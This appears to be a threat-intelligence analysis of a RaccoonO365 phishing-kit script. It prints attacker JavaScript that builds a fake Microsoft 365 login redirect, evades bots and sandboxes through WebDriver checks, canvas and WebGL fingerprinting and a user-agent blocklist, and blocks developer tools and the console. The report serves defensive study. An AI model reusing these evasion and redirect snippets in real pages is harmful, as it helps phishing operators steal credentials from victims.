During our investigation into the RaccoonO365 Phishing-as-a-Service operation, we uncovered a sandbox report revealing a script embedded in an HTML page associated with a RaccoonO365 phishing link. The script utilizes various automation detection techniques, including Cloudflare Turnstile CAPTCHA and browser feature analysis, to filter out non-human traffic and facilitate the phishing attack. This analysis shows the steps threat actors take to increase the chances of success in their attacks. By implementing automation and bot detection, the threat actors hinder the efforts of security researchers, maintain a lower profile, and increase the likelihood that only their intended targets interact with their phishing pages. Services like this, which enable cyber criminals to launch sophisticated phishing attacks with minimal effort or expertise, are becoming increasingly prevalent and pose a significant threat to those defending cyberspace.
This script, initially obfuscated using hexadecimal encoding, is decoded and dynamically added to the page as multiple HTML script elements. It conducts a series of checks to detect automation tools and identify bots, ensuring that only legitimate human users proceed. If users pass these checks, a new link is constructed for the phishing page. They are then presented with a blurred PDF and a deceptive download button, which redirects them to a fake Microsoft 365 login page using the new URL.
This part of the script constructs a new link for the phishing page and populates the current page with a blurred out PDF and a malicious download button. It is only executed after a user passes various bot and automation checks which we go over later. The blurred out PDF is supposed to be the content the victim is trying to access while the download button redirects users to the new link where they are presented with a fake Microsoft 365 login page. Notably, the code execution may allow users to be redirected without clicking the button. Essentially, the script serves as a precursor to the actual phishing page, constructing the link and button that lead users to the malicious site. The code responsible for building the redirect link and the download button is contained in a function named notBlocked()
.
The first thing notBlocked()
does is define a new function named downloadPDF()
. This new function begins by establishing the O365
variable and populating it with some hard-coded values that are the beginning of the new phishing URL. It begins with six random letters that are appended with a search query using the ?
operator. This query replicates query strings contained in legitimate links from the Microsoft Office 365 service.
function downloadPDF() {
var O365 = "/";
O365 += "i";
O365 += "Y";
O365 += "y";
O365 += "h";
O365 += "j";
O365 += "J";
O365 += "?auth=1&shareable=true&access=restricted&check_type=password×tamp=&priority=high&include_details=true";
The timestamp from the query string is replaced with the current time in ISO format, creating a unique URL:
// Append the current timestamp to the URL
O365 = O365.replace("timestamp=", "timestamp=" + getCurrentTimestamp());
Next, the script checks for the e parameter from the URL. This parameter is sometimes Base64 encoded according to the source code comments. If the parameter exists, it is decoded from Base64 or left unchanged if not encoded:
function decodeParam(param) {
try {
// Attempt to decode parameter as Base64
const decoded = atob(param);
return decoded;
} catch (e) {
// If decoding fails (e.g., not Base64), return the original parameter
return param;
}
}
const paramE = getQueryParamValue('e');
const decodedParamE = paramE ? decodeParam(paramE) : null;
This e value is then assigned to a new variable named raccoonautofill that is appended to the O365 variable:
// Assign decoded or original value to raccoonautofill
const raccoonautofill = decodedParamE;
console.log('Decoded parameter e value:', decodedParamE);
console.log('raccoonautofill:', raccoonautofill);
if (raccoonautofill) {
O365 += '#' + raccoonautofill; // Add '#' before the value
console.log('Updated O365:', O365);
}
This code checks for a hash value in the URL. The value is saved to a variable named deskCode before being appended to the O365 variable. While the exact intent is unclear, this hash may serve as an identifier for affiliates in a PaaS model or as a unique identifier linking the precursor page to the phishing page, helping track the user's session. If there is no e pa
let deskTag = window.location.hash;
if (deskTag.length > 1) {
let deskCode = deskTag.substring(1);
O365 += '#' + deskCode; //
// Now you can use deskCode
console.log("Desk code:", deskCode);
} else {
console.log("No desk code present.");
}
Another check for the e parameter in the search query string of the URL is performed. If this value exists, it is assigned to a value named detectedReferer in the same fashion as the e parameter was parsed before:
if (window.location.search) {
const currentE = getQueryParamValue('e');
detectedReferer = currentE ? decodeParam(currentE) : null;
}
However, if there is no e paramter in the search query string of the current URL, a check is performed to see if there is a referring page. The document.referrer property in JavaScript is a string that represents the URL of the document that linked to the current page. Essentially, it tells you where the user came from before arriving at the current page. If there is a referring URL, the code attempts to read the e parameter in that URL. This is assigned to the value detectedReferer:
if (!detectedReferer && document.referrer) {
const referrerParams = new URLSearchParams(new URL(document.referrer).search);
const refererE = referrerParams.get('e');
detectedReferer = refererE ? decodeParam(refererE) : null;
}
myApp.detectedRefererEValue = detectedReferer;
window.detectedRefererEValue = detectedReferer;
globalThis.detectedRefererEValue = detectedReferer;
The detected value is stored in multiple global scopes, allowing it to be accessed elsewhere on the page in other functions and scripts. If the current page has the e
parameter, it will be identical to the e
parameter from before. Finally, if the value exists, it is added to the O365
variable:
// Check if O365 contains a hash value
if (!/#/.test(O365)) {
// If detectedReferer exists
if (detectedReferer) {
O365 += '#' + detectedReferer;
console.log('Updated O365 URL:', O365);
} else {
console.log('No e parameter found in referer or URL.');
The final URL will look like this after construction:
domain.com/iyyhjJ?auth=1&shareable=true&access=restricted&check_type=password
×tamp={YYYY-MM-DDTHH:mm:ss.SSSZ}&priority=high&include_details=true
#{e_parameter}#{desk code}#{detectedrefferer}
In the final steps of the downloadPDF()
, navigation functions are created that redirect users to the new URL stored in the raccoonO365
variable. These functions are then called using a foreach loop. The raccoonO365
variable contains the constructed URL stored in the O365
variable:
var navigationFunctions = [
function() {
setTimeout(function() {
window.location.assign(raccoonO365url); }, 0);
},
function() {
setTimeout(function() {
window.top.location.href = raccoonO365url;}, 0);
},
function() {
setTimeout(function() {
window.top.location.replace(raccoonO365url);}, 0);
},
function() {
setTimeout(function() {
top.location.href = raccoonO365url;}, 0);
},
function() {
setTimeout(function() {
top.location.replace(raccoonO365url);}, 0);
}
];
navigationFunctions.forEach(function(func) {
func();
});
The next function is called setupPDF()
. It sets up a PDF viewer to display the blurred PDF and also adds an event listener to the fake download button. This button is assigned the downloadPDF()
function in its event listener, meaning when clicked, downloadPDF()
will execute. As seen above, this constructs the phishing URL and directs the user to the new page if they click the button.
Creating the PDF viewer and getting the download button element:
function setupPDF(pdfUrl) {
const pdfViewer = document.getElementById('pdfViewer');
const downloadButton = document.getElementById('downloadButton');
const pdfText = document.createElement('div');
pdfText.innerHTML = "";
pdfText.id = 'pdext';
pdfViewer.appendChild(pdfText);
Adding downloadPDF() to the buttons event listener to be executed when clicked:
downloadButton.addEventListener('click', function(event) {
event.preventDefault(); // Prevent the default button behavior
downloadPDF(); // Call the download function
});
The functions defined above are executed in the final block of notBlocked(). This code will call setupPDF()
and then immediately execute downloadPDF()
after the specified delay. Since the delay is set to 0, it will effectively run them in sequence without any wait time. This means the user may not even have to press the fake download button to be redirected to the phishing page.
// Call setupPDF function to set up text and download button
var delay = 0;
setTimeout(function() {
setupPDF();
downloadPDF();
}, delay);
In this section, we explore the advanced detection measures implemented by RaccoonO365 to ensure the effectiveness of their phishing operations. The phishing pages utilize the Cloudflare Turnstile CAPTCHA to enhance legitimacy and filter access, only allowing targeted victims who complete the CAPTCHA. Furthermore, the script includes robust automation checks that analyze browser features, user-agent strings, and rendering capabilities to detect automated behaviors. This multi-layered approach incorporates various detection mechanisms, including WebDriver checks, canvas fingerprinting, and device enumeration. If users pass all criteria, they are directed to a malicious PDF download page, ensuring that only human users can access the phishing content.
The RaccoonO365 phishing pages make use of the Cloudflare turnstile as a CAPTCHA. This is a technique that’s use has been gaining prominence in phishing kits. Not only does it prevent bots and automated web scans, but it gives the page a sense of legitimacy as Cloudflare and its services are trusted by most users. This malicious page is only served to the user if they complete the Cloudflare Turnstile CAPTCHA, ensuring only the targeted victims can access the phishing page. If you were to visit the final phishing page without going through the site that serves the CAPTCHA, you will be redirected by their URL redirection scripts embedded in the page.
RaccoonO365 has also implemented automation checks in case their Cloudfare Turnstile is bypassed. By examining browser features, user-agent strings, and rendering capabilities, the script aims to detect automated behavior. While similar to their bot detection script, these functions This multi-faceted approach ensures that the phishing page remains effective by filtering out tools that could analyze or interact with it in ways that a human user typically would not. The strategies employed include WebDriver detection, user-agent analysis, and advanced techniques such as canvas fingerprinting and WebGL information retrieval, making it a sophisticated defense against automated interactions.
The main function, defined as b
, serves as the core of the detection logic:
function b() {
try {
// Alert functions and checks go here...
} catch (e) {
console.error('e:', e);
}
}
This function encapsulates all the bot detection logic and is wrapped in a try...catch
block to handle any errors gracefully without interrupting the script's execution.
Inside the function, two alert functions are defined to notify about detected automation:
function showAutomationDetectedAlert() {
r();
// alert("Automation framework detected!");
}
function showAutomationNotDetectedAlert() {
// alert("Automation framework not detected.");
shoDetectedAlert();
}
showAutomationDetectedAlert
: This is called when automated behavior is identified, potentially alerting users (currently commented out).showAutomationNotDetectedAlert
: This function indicates the absence of detected automation, allowing the script to proceed normally. The shoDetectedAlert()
function contains defines the logic for the rest of the script including bot detection and URL redirection.The first automation check is for the presence of a WebDriver, which is commonly used in automated testing frameworks:
if (navigator.webdriver) {
console.log("WebDriver detected");
showAutomationDetectedAlert();
}
If navigator.webdriver returns true, it signifies that an automated tool is likely in use, triggering the corresponding alert.
The script examines the user-agent string to identify known automation tools:
var userAgent = navigator.userAgent.toLowerCase();
if (userAgent.indexOf('webdriver') !== -1 || userAgent.indexOf('puppeteer') !== -1) {
console.log("Automation framework detected based on user agent");
showAutomationDetectedAlert();
}
If the user-agent contains substrings indicative of automated frameworks, the script flags the user as a bot.
The script also checks for the Chrome DevTools Protocol:
if (window.chrome && window.chrome.devtools) {
console.log("Chrome DevTools Protocol detected");
showAutomationDetectedAlert();
}
This method serves as another layer of bot detection.
One of the more sophisticated techniques employed is canvas fingerprinting:
var canvas = document.createElement('canvas');
var context = canvas.getContext('2d');
// Drawing operations to create a unique fingerprint...
var canvasData = canvas.toDataURL();
if (canvasData.indexOf("data:image/png") !== 0) {
console.log("Canvas fingerprinting detected");
showAutomationDetectedAlert();
}
Here, the script creates a canvas element and performs drawing operations. A mismatch in the resulting data URL from the expected PNG format indicates that automated tools may be interfering with the rendering process, prompting a detection alert.
The script retrieves WebGL information to enhance fingerprinting capabilities:
async function getWebGLInfo() {
const canvas = document.createElement('canvas');
const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
const renderer = gl.getParameter(gl.RENDERER);
const vendor = gl.getParameter(gl.VENDOR);
return { vendor, renderer };
}
This function gathers the WebGL renderer and vendor information, which can also be used to identify non-human behavior based on discrepancies in rendering.
To further verify whether the user is a bot, the script checks for available media devices:
const devices = await navigator.mediaDevices.enumerateDevices();
const cameras = devices.filter(device => device.kind === 'videoinput');
const microphones = devices.filter(device => device.kind === 'audioinput');
if (cameras.length === 0) {
showAutomationDetectedAlert();
}
if (microphones.length === 0) {
showAutomationDetectedAlert();
}
If no cameras or microphones are found, the script assumes the user may be a bot and triggers an alert accordingly.
At this point, if a user has passed all the checks, the function showAutomationNotDetectedAlert
is called indicating no automation was detected, allowing the script to proceed normally.
Continuing the script, the threat actors preform additional bot detection measures to deter unwanted analysis. While these checks are similar to the automation detection, they are looking for different criteria: browser features, DOM manipulation, and user-agent data.
If a user’s browser lacks certain supported features, or if the user-agent matches predefined bot identifiers, the user is flagged as a bot and redirected to office[.]com. The code also performs complex operations to gauge performance, as discrepancies in execution times may indicate bot activity due to automation or virtual environments. If all of these checks are passed, the function notBlocked()
is invoked, which contains the standard code directing users to a page featuring a malicious PDF download:
function detectBot() {
const featuresSupported = checkBrowserFeatures();
if (!featuresSupported) {
alert('Bot detected: Missing critical features.');
botDetected = true;
return;
}
const domManipulationPassed = performComplexOperations();
if (!domManipulationPassed) {
alert('Bot detected: Failed DOM manipulation.');
botDetected = true;
return;
}
const browserDetails = getBrowserDetails();
console.log('Browser Details:', browserDetails);
const isValidBrowser = validateUserAgent(browserDetails.userAgent);
if (!isValidBrowser) {
alert('Bot detected: Invalid user agent.');
botDetected = true;
return;
}
console.log('Browser validation passed.');
notblocked();
}
The code checks for browser features and if they do not match the list of their supported features, the user is classified as a bot:
function checkBrowserFeatures() {
const features = [{
name: 'fetch', supported: 'fetch' in window
}, {
name: 'Promise', supported: 'Promise' in window
}, {
name: 'localStorage', supported: 'localStorage' in window
}, {
name: 'sessionStorage', supported: 'sessionStorage' in window
}, {
name: 'history', supported: 'history' in window
}, {
name: 'querySelector', supported: 'querySelector' in document
}, {
name: 'WebAssembly', supported: 'WebAssembly' in window
}, {
name: 'cookie',supported: document.cookie !== undefined
}];
features.forEach((feature, index) => {
console.log(['Feature', index + 1, '(', feature.name, ') supported:', feature.supported].join(' '));
});
return features.every(feature => feature.supported);
}
The next function, validateBrowserDetails()
, validates the user agent. It takes the output from another function named getBrowserDetails()
that retrieves the current user agent, app name, app version, and platform.:
function getBrowserDetails() {
const userAgent = navigator.userAgent;
const appName = navigator.appName;
const appVersion = navigator.appVersion;
const platform = navigator.platform;
return {
userAgent,
appName,
appVersion,
platform
};
}
Using the user agent returned from getBrowserDetails(), the function compares the user agent string to a list of hard-coded user agents they have classified as bots:
function validateUserAgent(userAgent) {
const botPatterns = [
// truncated list of bot user agents
/bot/i,
/crawl/i,
/sniffer/i, // Generic term "sniffer"
/fetch/i // Generic term "fetch"
...
];
return !botPatterns.some(pattern => pattern.test(userAgent));
}
A list of some of the strings being checked against:
/bot/i/scrapy/i/crawl/i/apachesbench/i/spider/i/perl/i/wget/i/lwp/i/curl/i/wordpresss(http/python/i/httpsclient/i/java/i/msnbot/i
performComplexOperations()
creates an array of 1000 random integers and then sorts it before creating a new div HTML element. The function then checks to see if the document object model (DOM) contains the new element:
function performComplexOperations() {
let arr = [];
for (let i = 0; i < 10000; i++) {
arr.push(Math.random());
}
arr.sort();
const div = document.createElement('div');
div.id = 'complexDiv';
div.innerHTML = '';
document.body.appendChild(div);
return document.body.contains(div);
}
If the DOM does contain the new element, the user is classified as a bot. This can be seen in the section of code that calls the performComplexOperations() function, alerting of a bot detection when document.body.contains(div) returns True .
const domManipulationPassed = performComplexOperations();
if (!domManipulationPassed) {
alert('Bot detected: Failed DOM manipulation.');
botDetected = true;
return;
}
Even after users are verified as human, RaccoonO365 implements additional countermeasures to hinder analysis of their phishing pages. However, these techniques are not very sophisticated, and are easily bypassed by advanced users.
One such tactic involves disabling keyboard shortcuts that typically open developer tools, preventing analysts from easily inspecting the page's code or behavior. This can be bypassed by disabling JavaScript or by opening up developer tools using another method (e.g., right-click on the page and select "Inspect" or "Inspect Element"). The code prevents the normal shortcut event from occurring and instead returning false:
function() {
document.addEventListener('keydown', function(event) {
// Prevent F12 and Ctrl+Shift+I, Ctrl+Shift+J, Ctrl+U shortcuts
if (event.key === 'F12' ||
(event.ctrlKey && event.shiftKey && (event.key === 'I' || event.key === 'J')) ||
(event.ctrlKey && event.key === 'U')) {
event.preventDefault();
return false;
}
}
Additionally, the script can disable the console, further limiting the information available to analysts, such as error messages or alerts that could reveal vulnerabilities in the phishing setup:
function disableConsole() {
console.log = function() {};
console.warn = function() {};
console.error = function() {};
console.assert = function() {};
console.trace = function() {};
console.group = function() {};
console.groupEnd = function() {};
console.groupCollapsed = function() {};
console.table = function() {};
console.time = function() {};
console.timeEnd = function() {};
console.debug = function() {};
}
disableConsole();
These measures enhance the overall security of the phishing operation, making it more challenging for researchers and defenders to analyze and counteract their techniques. To bypass the disabled console methods, you can redefine them after the initial disabling, save the original console methods for later restoration, or use a script injection tool to override the disabling script. This can all be done using the console located in the developer tools view.
The RaccoonO365 phishing operation exemplifies the evolving landscape of cybercrime, where sophisticated techniques are employed to maximize the chances of successful phishing attacks. By implementing advanced detection measures, such as CAPTCHA systems and multi-layered bot detection, increase the likelihood that only their intended targets interact with their phishing pages. Additionally, anti-analysis tactics like disabling keyboard shortcuts and console access further complicate efforts the efforts of security researchers trying counteract their schemes, helping them to remain undetected. As cybersecurity experts continue to analyze and combat these threats, awareness and education remain crucial in protecting individuals and organizations from falling victim to such sophisticated phishing operations.
Tags